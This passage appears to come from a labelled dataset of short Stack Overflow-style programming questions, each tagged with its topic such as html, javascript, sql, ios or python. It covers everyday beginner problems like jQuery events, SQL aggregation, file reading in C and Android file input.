       &lt;td&gt;randon name&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
       &lt;td class= td-modal &gt;project name:&lt;/td&gt;
       &lt;td&gt;xyz&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
       &lt;td class= td-modal &gt;proj #:&lt;/td&gt;
       &lt;td&gt;12345&lt;/td&gt;
     &lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>
     how would i be able to get the last cell <code>&lt;td&gt;12345&lt;/td&gt;</code> to split into two columns",html
external javascript - function not defined when it is   after coding the css  javascript  and html5 code within the same html file for this web application  i decided to split the css and javascript into their own respective external files and include them into the html5 file.    i ran into a minor issue as to which the javascript code would not work until i added the following:   <pre><code>window.onload = function() { //script code} </code></pre>   now it seems like everything but the functions do not load. since the error that i discovered using firebug says the function is not defined yet it clearly is.    here is the code:    the html page <a href= http://turing.cs.olemiss.edu/~sbadams2/rebelflow.html  rel= nofollow >http://turing.cs.olemiss.edu/~sbadams2/rebelflow.html</a>    the js file <a href= http://turing.cs.olemiss.edu/~sbadams2/rebelflow.js  rel= nofollow >http://turing.cs.olemiss.edu/~sbadams2/rebelflow.js</a>    i ve read other responses which state that the path may be incorrect but everything else within the javascript file loads fine with the exception of the actual function.    i m not sure what may be causing this issue.,javascript
sum qty with different date sql server  i have 2 tables     table 1 is transaction table   <pre><code>+----------+-----------+---------+------------+-----+ | idoutlet | idproduct | trxtype |  trxdate   | qty | +----------+-----------+---------+------------+-----+ |      101 | asd11     |       2 | 11/11/2015 |  15 | |      101 | asd11     |       3 | 11/14/2015 |  -3 | |      101 | asd11     |       3 | 11/17/2015 |  -6 | |      101 | asd11     |       2 | 11/22/2015 |   7 | |      101 | asd11     |       3 | 11/26/2015 |  -2 | |      101 | asd11     |       2 | 12/3/2015  |   1 | |      101 | asd11     |       3 | 12/9/2015  |  -3 | |      101 | asd11     |       3 | 12/11/2015 |  -2 | |      101 | asd11     |       2 | 12/12/2015 |   5 | |      101 | ffd34     |       2 | 11/11/2015 |   9 | |      101 | ffd34     |       3 | 11/14/2015 |  -3 | |      101 | ffd34     |       2 | 11/16/2015 |   3 | |      101 | ffd34     |       3 | 11/19/2015 |  -4 | |      101 | ffd34     |       3 | 11/23/2015 |  -3 | |      102 | ffd34     |       2 | 11/26/2015 |   2 | |      102 | ffd34     |       2 | 11/28/2015 |   4 | |      102 | ffd34     |       3 | 11/29/2015 |  -5 | |      102 | ffd34     |       3 | 12/1/2015  |  -1 | +----------+-----------+---------+------------+-----+ </code></pre>   table 2 is opnametable   <pre><code>+----------+-----------+------------+-----------+ | idoutlet | idproduct | opnamedate | qtyopname | +----------+-----------+------------+-----------+ |      101 | asd11     | 11/20/2015 |         5 | |      101 | ffd34     | 11/30/2015 |         5 | |      102 | ffd34     | 11/30/2015 |         1 | +----------+-----------+------------+-----------+ </code></pre>   and i want the result like this   <pre><code>+----------+-----------+------------+---------+ | idoutlet | idproduct | opnamedate | sum qty | +----------+-----------+------------+---------+ |      101 | asd11     | 11/20/2015 |       6 | |      101 | ffd34     | 11/20/2015 |       5 | |      102 | ffd34     | 11/30/2015 |       1 | +----------+-----------+------------+---------+ </code></pre>,sql
"cannot display time selector correctly   time selector when i add it to my form and add script manager it showed correctly and no error  but in display the time selector button i found it in another place  not coordinate with time selector box until i add this code to html     <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   xhtml1-transitional.dtd &gt;</code></pre>
 </div>
 </div>
     it worked   my question is when i add web user control and add time selector in it and add this web user control to web form with master page  the time selector not show correctly the buttons show in place and time selector in another place in web form <img src= https://i.stack.imgur.com/eb52n.png  alt= enter image description here >",asp.net
uibutton selected content only when touched  is it possible to see the selected state content of an uibutton only when i m touching it,ios
download error by mediatap application  i got a massage while i was downloading a video from face book . which is about an error due to violation of the limit of  api calls. please let me know what’s that mean. thanks,ios
jquery checkbox click  have a table    <pre><code>&lt;table&gt;   &lt;tr class= c1 &gt;&lt;td&gt;&lt;input type= checkbox  name= tablerow[] &gt;&lt;/td&gt;......&lt;/tr&gt;   &lt;tr class= c2 &gt;&lt;td&gt;&lt;input type= checkbox  name= tablerow[] &gt;&lt;/td&gt;......&lt;/tr&gt;   &lt;tr class= c1 &gt;&lt;td&gt;&lt;input type= checkbox  name= tablerow[] &gt;&lt;/td&gt;......&lt;/tr&gt; ... &lt;/table&gt; </code></pre>   and then the js is:   <pre><code>$( input:checkbox[name*=tablerow] ).click(function(event) {      var el = $(this);     if (el.attr( checked )) {         el.parents( tr ).css( background-color    #ffcccc );     }     else {         el.parents( tr ).css( background-color    inherit );     }     event.stoppropagation(); });  $( input:checkbox[name*=tablerow] ).parents( tr ).click(function() {     var el = $(this).find( &gt; td:eq(0) &gt; :checkbox );     el.click(); });​ </code></pre>   checkbox checks and unchecks in both ways  but when i click  tr  it looks like event rans before check set.    need: in both ckecks then set css,jquery
iphone + save state of application in case of any interruption  i have developed a game as iphone application. everything is completed and i am ready to upload it on app store. i need to implement only one feature and that is  when any interruption occurs like a phone call / a sms / a notification  i want to save the current state of game so that whatever user chooses: either to handle that interruption or to cancel that interruption  the game should start again from the same stage.  how might i do this,iphone
how to detect internet connection when connected to wifi but no intenernet: ios  i just want to know how to detect internet connectivity in ios when device is connected to wifi but no intenet connection in modem.    i have used apple s and afnetworking s reachability but they only check for connectivity and returns connected flag even there is no working internet in modem.,ios
convert large decimal number to string in javascript  i have large decimal numbers which i am getting from a request &amp; i want to convert them to string.  so for eg:    i tried all methods converting to string   <pre><code>var r=12311241412412.1241523523523235         r.tostring();          r+  ;           +r;         string(r); //output  12311241412412.1241  //what i want  12311241412412.1241523523523235  </code></pre>   all methods return the decimal numbers upto 4 digits (12311241412412.1241) but i want all the number till end.  i also tried r.tofixed().tostring() but each time the length of decimal numbers change.    what would be easy way to do this,javascript
why are images not found after response.redirect   i have a parts.aspx page that displays correctly when user navigates to it from the menu. i also have code behind another  page that redirects to to parts.aspx and when that happens everything works except the images on parts.aspx do not display  just the alternate text. the images are in an images subfolder of the folder containing parts.aspx. so why are the images files not located  using asp 2.0  vs 2005.,asp.net
exception_access_violation (0xc0000005) at pc=0x697e0aea  pid=11340  tid=11292  i am getting following error when i try to run my spring+hibernate application in netbeans 8.0.  same code is working fine on other machine    by reading various post  i tried below mentioned points but all in vain.     1.) installed new version of java but no help     2.) created new work space but no help.     3.)installed ide but no help.   <pre><code>error log  &gt; &gt; a fatal error has been detected by the java runtime environment: &gt; &gt;  exception_access_violation (0xc0000005) at pc=0x697e0aea  pid=11340  tid=11292 &gt; &gt; jre version: java(tm) se runtime environment (8.0_05-b13) (build 1.8.0_05-b13) &gt; java vm: java hotspot(tm) client vm (25.5-b02 mixed mode  sharing windows-x86 ) &gt; problematic frame: &gt; c  [atioglxx.dll+0x7b0aea] &gt; &gt; failed to write core dump. minidumps are not enabled by default on client versions of windows &gt; &gt; an error report file with more information is saved as: &gt; e:/*path*/hs_err_pid11340.log &gt; &gt; if you would like to submit a bug report  please visit: &gt;   http://bugreport.sun.com/bugreport/crash.jsp &gt; the crash happened outside the java virtual machine in native code. &gt; see problematic frame for where to report the bug. &gt; </code></pre>   ---------------  t h r e a d  ---------------   <pre><code>current thread (0x16e5e800):  javathread  awt-eventqueue-0  [_thread_in_native  id=11292  stack(0x19150000 0x191a0000)]  siginfo: exceptioncode=0xc0000005  reading address 0x00000000  registers: eax=0x00000100  ebx=0x00000100  ecx=0x00000040  edx=0x00000000 esp=0x1919e270  ebp=0x1919e278  esi=0x00000000  edi=0x223f0fe8 eip=0x697e0aea  eflags=0x00010212  top of stack: (sp=0x1919e270) 0x1919e270:   00000001 223f0fe8 00000000 691d4a88 0x1919e280:   223f0fe8 00000000 00000100 19cd0ad8 0x1919e290:   1919e308 69ad7640 00000100 00000100 0x1919e2a0:   776d3664 00000100 223f0fe8 00000100 0x1919e2b0:   00000000 00000000 00000001 00000004 0x1919e2c0:   00000000 00000000 00000000 00010000 0x1919e2d0:   691d7766 00000100 00000100 00000100 0x1919e2e0:   00000000 00000000 00000001 503721c2   instructions: (pc=0x697e0aea) 0x697e0aca:   fe 5e 5f 75 08 5e 5f 5d e9 12 5b 00 00 f7 c7 03 0x697e0ada:   00 00 00 75 15 c1 e9 02 83 e2 03 83 f9 08 72 2a 0x697e0aea:   f3 a5 ff 24 95 04 0c 7e 69 90 8b c7 ba 03 00 00 0x697e0afa:   00 83 e9 04 72 0c 83 e0 03 03 c8 ff 24 85 18 0b    register to memory mapping:  eax=0x00000100 is an unknown value ebx=0x00000100 is an unknown value ecx=0x00000040 is an unknown value edx=0x00000000 is an unknown value esp=0x1919e270 is pointing into the stack for thread: 0x16e5e800 ebp=0x1919e278 is pointing into the stack for thread: 0x16e5e800 esi=0x00000000 is an unknown value edi=0x223f0fe8 is an unknown value   stack: [0x19150000 0x191a0000]   sp=0x1919e270   free space=312k native frames: (j=compiled java code  j=interpreted  vv=vm code  c=native code) c  [atioglxx.dll+0x7b0aea]   ---------------  s y s t e m  ---------------  os: windows 7   64 bit build 7601 service pack 1  cpu:total 8 (4 cores per cpu  2 threads per core) family 6 model 60 stepping 3  cmov  cx8  fxsr  mmx  sse  sse2  sse3  ssse3  sse4.1  sse4.2  popcnt  avx  avx2  aes  clmul  erms  ht  tsc  tscinvbit  memory: 4k page  physical 8329320k(2834288k free)  swap 16656784k(10149956k free)  vm_info: java hotspot(tm) client vm (25.5-b02) for windows-x86 jre (1.8.0_05-b13)  built on mar 18 2014 01:14:47 by  java_re  with ms vc++ 10.0 (vs2010)  time: mon jul 27 10:17:26 2015 elapsed time: 76 seconds     kindly help. </code></pre>,java
doing customization for a cell but dont work  my purpose is to customize a cell for a row of my table view. so i am doing :   <pre><code>myclass.m     1 .- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath*)indexpath{       3 .    nslog(@ section %d:row %d  indexpath.section  indexpath.row);     4 .    static nsstring *cellidentifier = @ reusedcell ;        5 .    detailcell *cell    = (detailcell*)[tableview dequeuereusablecellwithidentifier:cellidentifier];     6 .    cell.backgroundcolor    = [uicolor clearcolor];     7 .    // customize the cell of each row from table     8 .    **if ( cell == nil ) {     9 .        cell    =   [[detailcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier];     10.    }**     11.    return cell;     12.} </code></pre>   my detailcell class is   <pre><code>    1.- (detailcell*)initwithstyle:(uitableviewcellstyle)style reuseidentifier:(nsstring *)reuseidentifier{      2.   if (self = [super initwithstyle:uitableviewcellstyledefault reuseidentifier:reuseidentifier]){     3.  itemimg     =   [[uiimageview alloc]    initwithframe:cgrectmake(20   20  50    70)];     4   itemname    =   [[uilabel  alloc]       initwithframe:cgrectmake(100  0   100   50)];     5.  itemdesp    =   [[uilabel  alloc]       initwithframe:cgrectmake(100  40  1000  20)];     6   itemsize    =   [[uilabel  alloc]       initwithframe:cgrectmake(100  60  100   20)];     7   itemprice   =   [[uilabel  alloc]       initwithframe:cgrectmake(200  60  100   20)]; }     8.   [itemimg setimage:[uiimage imagenamed:@ large/dresses/02/71eu6.png ]] ;     9.   itemname.text = @ dresses ;     10.   itemdesp.text = @ description ;     11.   itemsize.text = @ s ;     12.   itemprice.text = @ $99 ;     13.   itemsize.textcolor = [uicolor purplecolor];      14.   [self.contentview addsubview:itemimg];     15.   [self.contentview addsubview:itemname];     16.   [self.contentview addsubview:itemdesp];     17.   [self.contentview addsubview:itemsize];     18.   [self.contentview addsubview:itemprice];     19.        return self;     20.    } </code></pre>   to display an img or text on the row of my table  i set img + text on uiimageview and label within <strong>detailcell</strong> ( line 8---> line 13 at detailcell).  however  when i went through some readings and i realized that people use a class such as detailcell to create a frame + add properties for uiimageview + label. finally  they will display an image or text on cell within <strong>myclass.m</strong>.  it is confusing me because  should we set img for uiimageview at <strong>myclass.m</strong> or <strong>detailcell.m</strong>.  please advice me about this issue. thanks.,iphone
html5 flash 100% ie8 and firefox  i need to have a flash intro for my website (a requirement from my teacher). i created the intro and embedded it into my page. i takes up the entire screen in both chrome and chromium. in ie8  firefox and opera the size is incorrect. what am i doing wrong    <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;meta http-equiv= refresh  content= 3; url=template.htm &gt;         &lt;meta charset= utf-8 &gt;         &lt;title&gt;com tech projects | jason cook&lt;/title&gt;     &lt;/head&gt;     &lt;body style= background: black; &gt;         &lt;embed style= height: 100%; width: 100%;  src= flash/introv6.swf /&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,html
what value is suitable for the action attribute in a form   i understand that the value of the action attribute is the url for  the page on the server that will receive the information in the form when it is submitted. however  what url do i use  do i need to program a new page using php (which i don t know how to use yet as i am learning html first) or is there a website that can do this for me  (the book i am using just writes the value as:  <a href= http://www.example.com/profile.php  rel= nofollow >http://www.example.com/profile.php</a>  - the .php at the end of this url gave me the the php idea)   <pre><code>&lt;form action= what do i put here   method= post &gt; &lt;p&gt;what s your favorite genre of music &lt;/p&gt; &lt;textarea name= musician &gt;who s your favorite artist &lt;/textarea&gt; &lt;input type= submit  value= submit  /&gt; </code></pre>   if it s information that i would like to see and analyse (for example in an online survey) would the url be different to if i wanted the user simply to upload their thoughts (like a comments box).    apologies if this is a fairly basic question but i am new to coding websites. also  just out of interest what is a good way to learn how to code websites  (i.e any suggestions for good books  websites or suchlike ) thank you so much.,html
how to place two divs to the next one  how can i place two divs the next one  like this one in the image.    <a href= http://img223.imageshack.us/img223/149/59524904qd1.png  rel= nofollow noreferrer >alt text http://img223.imageshack.us/img223/149/59524904qd1.png</a>,html
npm start gives me error 304 and 400 when launching angular 4 project  systemjs.config.js   <pre><code>system.config({     defaultjsextensions: true      map: {         app:  applicationstartup            @angular/core :  node_modules/@angular/core/bundles/core.umd.js            @angular/common :  node_modules/@angular/common/bundles/common.umd.js            @angular/compiler :  node_modules/@angular/compiler/bundles/compiler.umd.js            @angular/platform-browser :  node_modules/@angular/platform-browser/bundles/platform-browser.umd.js            @angular/platform-browser-dynamic :  node_modules/@angular/platform-browser-dynamic/bundles/platform-browser-dynamic.umd.js            @angular/router :  node_modules/@angular/router/bundles/router.umd.js            rxjs :  node_modules/rxjs      }      packages: {         app: {             main:  ../../build/main.js               defaultjsextensions:  js          }          rxjs: {             defaultjsextensions:  js          }     } }); </code></pre>   index.html   <pre><code>&lt;html&gt;  &lt;head&gt;     &lt;script src= node_modules/core-js/client/shim.min.js &gt;&lt;/script&gt;     &lt;script src= node_modules/zone.js/dist/zone.js &gt;&lt;/script&gt;     &lt;script src= node_modules/reflect-metadata/reflect.js &gt;&lt;/script&gt;     &lt;script src= node_modules/systemjs/dist/system.src.js &gt;&lt;/script&gt;     &lt;script src= systemjs.config.js &gt;&lt;/script&gt;     &lt;script&gt;         system.import( applicationstartup ).catch(function(err) {             console.error(err);         });     &lt;/script&gt; &lt;/head&gt;  &lt;body&gt;     &lt;my-app&gt;loading...&lt;/my-app&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   my directory structure is as shown <a href= https://i.stack.imgur.com/bmrqz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bmrqz.png  alt= here ></a>    now whwn i try to run my app with npm start i get the error as shown below:   <pre><code>304 get /index.html 304 get /node_modules/core-js/client/shim.min.js 304 get /node_modules/zone.js/dist/zone.js 304 get /systemjs.config.js 304 get /node_modules/reflect-metadata/reflect.js 304 get /node_modules/systemjs/dist/system.src.js 200 get /build/main.js 304 get /node_modules/@angular/platform-browser-dynamic/bundles/platform-browser-dynamic.umd.js 404 get /build/app.module </code></pre>   now   why it is not able to load the modules  is there anything wrong with the path,angularjs
while loop condition doesn t terminate when reading file is finished  this program will keep reading next 20 lines until <strong>user enters  q </strong> or <strong>file reading is finished</strong>.    now for <strong>file reading is finished</strong> part  i ve condition on line 29 of this program  <code>flag != null</code>    as per my understanding fgets() returns null after it reach eof but this condition doesn t work. what can i do to stop the loop after file has been read     i m using <a href= https://gist.github.com/ganganimaulik/940198fd379c8a37ecc16b9d28425097  rel= nofollow noreferrer >this file</a> for testing and here s my program:   <pre><code>#include &lt;stdio.h&gt; #include &lt;ctype.h&gt; #include &lt;string.h&gt;  int main() {     char name[66];     printf( enter name of  file:  );     scanf( %65s   name);      file *fp = fopen(name   r );      if (!fp) {         printf( can t open file for reading\n );         return 1;     }     int  i = 1;      char buffer1[1000];     char *flag;     char c;      do {         do {             i++;             flag = fgets(buffer1  999  fp);             printf( %s   buffer1);             //printf( %d***\n   i);  //debug - print line number         } while (i % 20 != 0 &amp;&amp; flag != null);         scanf(  %c   &amp;c);     } while (c !=  q );      return 0; } </code></pre>,c
how to load image from web   hello all i have image url getting from web and now i want to display that in may imageview.    pls helm me out.    thanks in advance.,android
showing a hidden div with jquery and moving to the top of the page  i have a div on my page which is hidden on load. using jquery i want to display the hidden div and hide the open div. this is my code:   <pre><code>&lt;script type= text/javascript &gt; // hides the slickbox as soon as the dom is ready $( #details ).hide();  // shows the slickbox on clicking the noted link   $( #proceed ).click(function () {     $( #details ).show( slow );     $( #contcoll ).hide( slow );     $( #contcolr ).hide( slow );     $( #intro ).hide( slow );     return false; });  $( #reviewplate ).click(function () {     $( #details ).hide( slow );     $( #contcoll ).show( slow );     $( #contcolr ).show( slow );     $( #intro ).show( slow );     return false; });              &lt;/script&gt; </code></pre>   this works ok but i cant get the new page to display from the top. instead it displays from the named div - details. how can i get the newly displayed page to display from the top,jquery
get full value from column char(1)  i have the following table for storing information about student attendance:    <pre><code>attendance ( id int(11)   type char(1)   for_date datetime ); </code></pre>   when inserting a new record  <code>present  2017-11-26</code>  mysql stores <code>p</code> in <code>type</code> column.     so i m trying to get full value present in dashboard page with select query but fails.     is it possible to get full value without change datetype of column      here s what i did:   <pre><code>select `id`  convert(`type`  char(10)) as type  `for_date` from `attendance`; </code></pre>,mysql
unnaturally increasing the width of a div :)  let s say i have a div with right-aligned text and a fixed with:   <pre><code>div{   width: 30px;   text-align: right; } </code></pre>   is it ok if i increase the width of this div to <code>35px</code> trough padding  to move the text away from the edge and avoid adding another element inside of it    <pre><code>div{   padding-right: 5px; } </code></pre>   i mean would any browsers behave weirdly about it,css
"input box is not validating while using angularjs <blockquote>    blockquote   input box requires following validations:   1) length input box should take upto 3 integer length values (decimals not allowed)   2) height input box should take 3 integer number and decimals upto 2 places   its working fine for the first time  but after clicking + button same input fields are opening but now: in the new boxes validations are not working even if i use the same classes for input boxes  i.e  newly added input boxes are taking any number of digits and characters.   so how to solve this through angular   </blockquote>   <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var app = angular.module( calc   []);
 var inputquantity = [];
 $(function () {
      $( .form-control ).each(function (i) {
           inputquantity[i] = this.defaultvalue;
           $(this).data( idx   i); // save this field s index to access later
      });
      $( .form-control ).on( keyup   function (e) {
           var $field = $(this) 
                val = this.value 
                $thisindex = parseint($field.data( idx )  10); // retrieve the index
 //        window.console &amp;&amp; console.log($field.is( :invalid ));
           //  $field.is( :invalid ) is for safari  it must be the last to not error in ie8
           if (this.validity &amp;&amp; this.validity.badinput || isnan(val) || $field.is( :invalid )) {
                this.value = inputquantity[$thisindex];
                return;
           }
           if (val.length &gt; number($field.attr( maxlength ))) {
                val = val.slice(0  5);
                $field.val(val);
           }
           inputquantity[$thisindex] = val;
      });
 });
 app.controller( calc_ctrl   function ($scope  $http) {
      $scope.choices = [{id :  choice1   l2 : 0  b2 : 0}];
      $scope.areas = [{id :  choice2   total : 0}];
 
      $scope.addnewchoice = function () {
           var newitemno = $scope.choices.length + 1;
           $scope.choices.push({
                 id  :  choice  + newitemno  l2 : 0  b2 : 0
           });
      };
      $scope.removechoice = function () {
           var lastitem = $scope.choices.length - 1;
           if (lastitem !== 0) {
                $scope.choices.splice(lastitem);
           }
      };
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js &gt;&lt;/script&gt;
 &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js &gt;&lt;/script&gt;
 &lt;script src= newscript.js &gt;&lt;/script&gt;
 
 &lt;body&gt;
   &lt;div ng-app= calc  ng-controller= calc_ctrl &gt;
                &lt;div  data-ng-repeat= choice in choices  class= col-md-12 col-sm-12 col-xs-12 bottom-line no-gap &gt;
                               &lt;h6&gt;flooring area {{$index + 1}} 
                                    &lt;button type= button  class= btn btn-default pull-right btn-right-gap  btn-red  aria-label= left align   ng-click= addnewchoice()  style= margin-top: -5px;  id= plus_icon &gt;
                                         &lt;span class= glyphicon glyphicon-plus  aria-hidden= true &gt;&lt;/span&gt;
                                    &lt;/button&gt;
 
                               &lt;/h6&gt; 
                               &lt;div class= row walls top-gap &gt;
 
                                    &lt;div class= form-group col-md-3 col-sm-3 col-xs-12 &gt;
                                         &lt;label for= length &gt;length :&lt;/label&gt;
                                         &lt;input type= number  class= form-control text-red bold  id= length   ng-model= choice.l2  min= 0  max= 999  maxlength= 6  step= 0.00   &gt;
                                    &lt;/div&gt;
                                    &lt;div class= form-group col-md-3 col-sm-3 col-xs-12 &gt;
                                         &lt;label for= height &gt;height :&lt;/label&gt;
                                         &lt;input type= number  class= form-control text-red bold  id= height    ng-model= choice.b2  min= 0  max= 999  maxlength= 6  step= 0.01 &gt;
                                    &lt;/div&gt;
                                    &lt;div class= form-group col-md-3 col-sm-3 col-xs-12 &gt;
                                         &lt;label for= area &gt;area sq :&lt;/label&gt;
                                         &lt;input type= number  class= form-control text-red bold  id= area  value= {{choice.l2 * choice.b2}}  readonly&gt;
                                    &lt;/div&gt;
                                    &lt;button type= button  class= btn btn-default pull-right btn-red  aria-label= left align   ng-click= removechoice()  id= minus_icon &gt;
                                         &lt;span class= glyphicon glyphicon-minus minus-btn  aria-hidden= true  &gt;&lt;/span&gt;
                                    &lt;/button&gt;
                               &lt;/div&gt;
 
                          &lt;/div&gt;
   &lt;/div&gt;
 &lt;/body&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>
    <blockquote>    blockquote  </blockquote>",angularjs
jquery - how to select another tr if an input does not match a value  as a newbie  i m trying to pull something off and have gotten stuck.  i m attempting to select a table row with an id of  fc_cart_foot_tax_tbd  and add a class of  selected  if someone enters a state other than illinois into an input field with the class of  customer_state_name .  here s my html that doesn t work.   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt;     &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;     &lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;title&gt;basic&lt;/title&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js  type= text/javascript &gt;&lt;/script&gt;     &lt;script type= text/javascript  charset= utf-8 &gt;     $(document).ready(function(){     //show the tax info if the shipping state is not illinois         $( #customer_state_name ).each(function()         {             if (!$(this).html() ==  illinois )             {             $( #fc_cart_foot_tax_tbd ).addclass( selected );             }         });     });     &lt;/script&gt;     &lt;/head&gt;     &lt;body&gt;      &lt;form action= # &gt;     &lt;input name= state  id= customer_state_name  value=   /&gt;     &lt;/form&gt;      &lt;table&gt;     &lt;tr id= fc_cart_foot_tax_tbd &gt;     &lt;td&gt;content here!&lt;/td&gt;     &lt;/tr&gt;     &lt;/table&gt;      &lt;/body&gt;     &lt;/html&gt; </code></pre>,jquery
python age finder and data saver  i am doing a project in which the user enters their details and it saves it to the file. i have made them input the age but i want it to automatically calculate the age at that time.    another feature i want is to have file name be different. for example <code>1.dat</code> then the next input will be <code>2.dat</code>.    this is the code so far:    <pre><code>import os from time import gmtime  strftime  first_name= raw_input( type your first name...  ) second_name= raw_input( type your second name...  ) age= raw_input( type your age...  ) yearofbirth= raw_input( type the year you were born...  )  birthyear=yearofbirth  os.system( mkdir data )  savefile=open( data/data.dat   w ) savefile.write( firstname:  +first_name+ \n ) savefile.write( secondname:  +second_name+ \n ) savefile.write( age:  +age+ \n ) savefile.write( year of birth:  +yearofbirth+ \n ) savefile.close()  print( saved )  first_name=none second_name=none age=none yearofbirth=none  int(float(birthyear))  adage=strftime( %y ) agey = yearofbirth - adage openfile=open( data/data.dat   r ) name=openfile.read().split()  first_name=name[1] second_name=name[3] age=name[5] yearofbirth=name[9]  print first_name+   +second_name+   +age+   +yearofbirth print agey </code></pre>,python
does dealloc get called after viewdidunload  i have this code below in my <code>uiviewcontroller</code>. does it make sense    <pre><code>- (void)dealloc {     [[nsnotificationcenter defaultcenter] removeobserver:self]; }  - (void)viewdidunload {     [super viewdidunload];     [[nsnotificationcenter defaultcenter] removeobserver:self]; } </code></pre>   or maybe dealloc code will be enough,ios
apple mach o-linker warning -f not a directory  i get a copy of a xcode project. if i run the project i get following warning   <pre><code>warning: path  /applications/xcode.app/contents/developer/platforms/iphonesimulator.platform/developer/sdks/iphonesimulator7.0.sdk/usr/lib/libxml2.dylib  following -f not a directory </code></pre>   how to fix this warning   thanks for help!,ios
javascript s object(this) usages in polyfills   <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/array/foreach#polyfill  rel= nofollow ><strong>i saw here</strong></a> the <code>array.prototype.foreach()</code> s polyfill and i have a question about its implementation :    <pre><code>/*1*/   if (!array.prototype.foreach) /*2*/   { /*3*/     array.prototype.foreach = function(fun /*  thisarg */) /*4*/     { /*5*/        use strict ; /*6*/    /*7*/       if (this === void 0 || this === null) /*8*/         throw new typeerror(); /*9*/    /*10*/       var t = object(this); /*11*/       var len = t.length &gt;&gt;&gt; 0; /*12*/       if (typeof fun !==  function ) /*13*/         throw new typeerror(); /*14*/    /*15*/       var thisarg = arguments.length &gt;= 2   arguments[1] : void 0; /*16*/       for (var i = 0; i &lt; len; i++) /*17*/       { /*18*/         if (i in t) /*19*/           fun.call(thisarg  t[i]  i  t); /*20*/       } /*21*/     }; /*22*/   } </code></pre>   looking at line #10 : why did they use <code>object(this)</code>       as  i searched its usages i saw <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/object  rel= nofollow >this</a> :    <blockquote>    the object constructor creates an object wrapper for the given value.   <strong>if the value is null or undefined</strong>  it will create and return an empty   object  otherwise  it will return an object of a type that corresponds   to the given value. if the value is an object already  it will return   the value.  </blockquote>   so they wanted to check if it s <code>null</code>  || <code>undefined</code> .    ok    but they <strong>already</strong> checked it in lines #7-#8 !    question :     what is the reason (which i m missing) that they used <code>object(this)</code>,javascript
openfileinput does not throw filenotfoundexception  i m participating in an online android course and have (so far) gotten no response on their forum to this issue. i m using android studio on windows 8.1.    i have the following function to read a file and load an adapter:   <pre><code>private void loaditems() {     bufferedreader reader = null;     try {         fileinputstream fis = openfileinput(file_name);         reader = new bufferedreader(new inputstreamreader(fis));          string title = null;         string priority = null;         string status = null;         date date = null;          while (null != (title = reader.readline())) {             priority = reader.readline();             status = reader.readline();             date = todoitem.format.parse(reader.readline());             madapter.add(new todoitem(title  priority.valueof(priority)                      status.valueof(status)  date));         }      } catch (filenotfoundexception e) {         e.printstacktrace();     } catch (ioexception e) {         e.printstacktrace();     } catch (parseexception e) {         e.printstacktrace();     } finally {         if (null != reader) {             try {                 reader.close();             } catch (ioexception e) {                 e.printstacktrace();             }         }     } } </code></pre>   my questions are:   <ol> <li> i don t find the file named by the constant file_name anywhere on my hard drive. if the file doesn t exist shouldn t <strong>openfileinput()</strong> throw <strong>filenotfoundexception</strong>  </li> <li> why does <strong>inputstreamreader</strong> not throw an error  </li> <li> via the debugger  i ve watched as the logic guarding entry into the while construct happily allows a null value in the <strong>title</strong> variable to enter the loop. am i missing something here  </li> </ol>   thanks in advance for any light anyone can shed!!    markb,android
textarea character limit  and whitespace trim  i am having trouble creating a code in javascript to limit characters in an input box and trim whitespace. i am asked to use document.getelementbyid(  onkeyup event handler  and string.split().     i could only do this:   <pre><code>&lt;script&gt; textareaelement(document.getelementbyid( mywordstocount ));   mytextareaelement.onkeyup = function(){     var maxlimit = 20;     var counter = maxlimit - information.value.split(/^\s+|\s+$/gm   ).length;     } &lt;/script&gt; </code></pre>   i am so new to javascript and i am thinking it might not be my zone. anyways  i would deeply appreciate any help i could get.     thanks,javascript
increment a varchar  hi all so i have the below data table   <pre><code>serial no start serial no end c04x000001        c04x000200 a04x000201        a04x005200 a04x005201        a04x005800 b04x005801        b04x006200 d04x006201        d04x006450 e05x088681        e05x088880 e05x088881        e05x089000 </code></pre>   what i need to be able to do is to inset all the serials between the two numbers into a table.    e.g    <pre><code>c04x000001 c04x000002 c04x000003 04x000004 c04x000005 ..... c04x000199  c04x000200 </code></pre>   the problem i have is the varying data lengths.    any ideas,sql
window resize disable in html  i created an html page within that for few links i done an pop window with width-400 and height-200. but the clients requirements is when window got popup the user should not resize it.<br> i tried with resizable=no resizable=0 but nothing is working out  all makes window resize.  please help me if there is any alternate method.    here is my jsfiddle link <a href= http://jsfiddle.net/uj07cf7o/7/  rel= nofollow >http://jsfiddle.net/uj07cf7o/7/</a>   <pre><code> window.open( disclaimer.jsp    popup    width=400 height=200   resizable=no ); </code></pre>,html
